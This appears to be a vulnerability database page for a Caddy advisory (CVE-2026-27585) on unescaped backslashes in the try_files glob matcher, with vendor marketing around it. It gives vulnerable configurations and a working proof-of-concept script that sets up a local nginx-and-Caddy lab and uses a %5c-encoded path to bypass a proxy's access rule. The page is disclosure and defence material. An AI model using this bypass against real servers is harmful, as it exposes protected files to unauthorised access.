Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-4xrr-hq4w-6vf4

Caddy: Improper sanitization of glob characters in file matcher may lead to bypassing security protections

Also known asCVE-2026-27585GO-2026-4535
Published
Feb 24, 2026
Updated
Feb 27, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk24th percentile+0.20%
0.00%0.27%0.55%0.82%0.1%0.1%0.1%0.1%0.3%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/caddyserver/caddy/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.

Details

The try_files directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html.

example.com {
	root * /srv
	encode
	try_files {path} /index.html
	file_server
}

try_files patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.

var globSafeRepl = strings.NewReplacer(
	"*", "\\*",
	"[", "\\[",
	"?", "\\?",
)

expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {
    if runtime.GOOS == "windows" {
        return val, nil
    }
    switch v := val.(type) {
    case string:
        return globSafeRepl.Replace(v), nil
    case fmt.Stringer:
        return globSafeRepl.Replace(v.String()), nil
    }
    return val, nil
})

The problem here is that it does not escape backslashes. /something-\*/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.

The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello* matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/* to the internal network and its upstream is a Caddy server that uses try_files, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.

Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the try_files directive and the filtering route/handle must not be in a same block because try_files directive executes before route and handle directives.

For example the following config isn't vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    try_files {path} /index.html
    file_server
}

But this one is vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    route /* {
        try_files {path} /index.html
    }
    file_server
}

This config is also vulnerable because Header directives executes before try_files.

:80 {
    root * /srv 
    header /uploads/* {
        X-Content-Type-Options "nosniff"
        Content-Security-Policy "default-src 'none';"
    }
    try_files {path} /index.html
    file_server
}

PoC

Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.

#!/bin/bash

mkdir secret
echo 'some content' > secret/secret.txt

cat > Caddyfile <<'EOF'
:80 {
    root * /srv

    try_files {path} /index.html
    file_server
}
EOF

cat > nginx.conf <<'EOF'
events {}

http {
    server {
        listen 80;
        
        location /secret {
            return 403;
        }

        location / {
            proxy_pass http://caddy;
            proxy_set_header Host $host;
        }
    }
}
EOF

cat > docker-compose.yml <<'EOF'
services:
  caddy:
    # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb
    image: caddy:latest
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - ./secret:/srv/secret:ro
  nginx:
    # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208
    image: nginx:latest
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    ports:
      - "8000:80" 
EOF

docker compose up -d
curl 'localhost:8000/secre%5ct/secret.txt'

Impact

This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.

AI Usage

An LLM was used to polish this report.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/caddyserver/caddy/v2all versions2.11.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/caddyserver/caddy/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/caddyserver/caddy/v2 to 2.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4xrr-hq4w-6vf4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4xrr-hq4w-6vf4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4xrr-hq4w-6vf4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn't sanitize backslashes which can lead to bypassing path related security protections. ### Details The [try_files](https://caddyserver.com/docs/caddyfile/directives/try_files) directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to
O3 Security · Impact-Aware SCA

Is GHSA-4xrr-hq4w-6vf4 in your dependencies?

O3 detects GHSA-4xrr-hq4w-6vf4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.